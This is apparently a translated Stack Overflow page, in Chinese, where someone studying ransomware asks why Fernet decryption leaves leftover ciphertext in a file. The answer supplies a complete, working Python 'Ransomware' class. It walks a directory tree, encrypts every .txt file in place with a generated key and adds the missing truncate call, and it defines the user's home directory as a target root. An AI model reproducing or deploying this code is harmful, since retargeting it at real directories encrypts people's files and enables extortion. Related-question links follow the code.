python - Python cryptography.fernet 文件解密
问题描述
我正在研究勒索软件以供学习。
所以我复制并粘贴它并像这样编辑它 但是当我加密和解密文本文件时,它会附加一个看起来像随机字符串的字符串。我该如何解决这个问题?
像:
Hello, World!
到
Hello, World!DTYutnC1fZWc5gCxAnYJoiHOdvTCVYveZ8fhaPrpowQ7TH6afPz7o6E0igVbI2uan6YAjovzwOuRvm6gvi6Bg==
使用此密钥文件:
aDcv1CMBzK_hHisXwUKGp2EbG_eMfEg_sB14iOfmDBM=
解决方案
问题是您先加密然后解密。您的加密和解密功能工作正常问题是您总是寻求文件的开头写入任何更改这将适用于加密并且如果明文和密文大小相同(无填充)则适用于解密) 但会在文件开头放置与密文大小不同的解密明文,并使文件的其余部分保持不变,因此您需要截断密文的其余部分。
import os
from os.path import expanduser
from cryptography.fernet import Fernet
class Ransomware(object):
def __init__(self):
self.key = None
self.cryptor = None
self.file_ext_targets = ["txt"] # Type of files, you're going to encrypt
def generate_key(self):
self.key = Fernet.generate_key()
self.cryptor = Fernet(self.key)
def read_key(self, keyfile_name):
with open(keyfile_name, "rb") as f:
self.key = f.read()
self.cryptor = Fernet(self.key)
def write_key(self, keyfile_name):
print(self.key)
with open(keyfile_name, "wb") as f:
f.write(self.key)
def crypt_root(self, root_dir, encrypted=False):
for root, _, files in os.walk(root_dir):
for f in files:
abs_file_path = os.path.join(root, f)
if not abs_file_path.split(".")[-1] in self.file_ext_targets:
continue
self.crypt_file(abs_file_path, encrypted=encrypted)
def crypt_file(self, file_path, encrypted=False):
with open(file_path, "rb+") as f:
_data = f.read()
if not encrypted:
# Encrypt
print()
data = self.cryptor.encrypt(_data)
f.seek(0)
f.write(data)
else:
data = self.cryptor.decrypt(_data)
print(f"File content before encryption: {data}")
f.seek(0)
f.write(data)
f.truncate()
sys_root = expanduser("~")
local_root = "."
keyfile = "./keyfile"
ransom = Ransomware()
def encrypt():
ransom.generate_key()
ransom.write_key("keyfile")
ransom.crypt_root(local_root)
def decrypt():
ransom.read_key(keyfile)
ransom.crypt_root(local_root, encrypted=True)
encrypt()
decrypt()
推荐阅读
- spring-cloud-stream - SpringBoot CloudStream (Kafka) 和 JPA
- javascript - jQueryUI 工具提示 + 全屏
- java - 如何在任何浏览器的 Save/SaveAs 弹出功能上将默认的 Save/SaveAs 路径修改为我们定义的路径?
- excel - 哪个工具可用于提取和分组行并进行求和?
- laravel - 异常不会渲染 Laravel 5.7
- wordpress - 我网站上的视频无法在 chrome 中播放。如果您单击另一个链接并返回,则播放效果很好
- contains - LinkedHashSet:“包含”问题
- javascript - 从 DOM 中已有的 JavaScript 中提取数据
- android - java.net.UnknownHostException:无法解析主机“”:没有与主机名关联的地址
- node.js - 如何在nodejs中的Swagger UI(swagger.json)中的标头中表示自定义令牌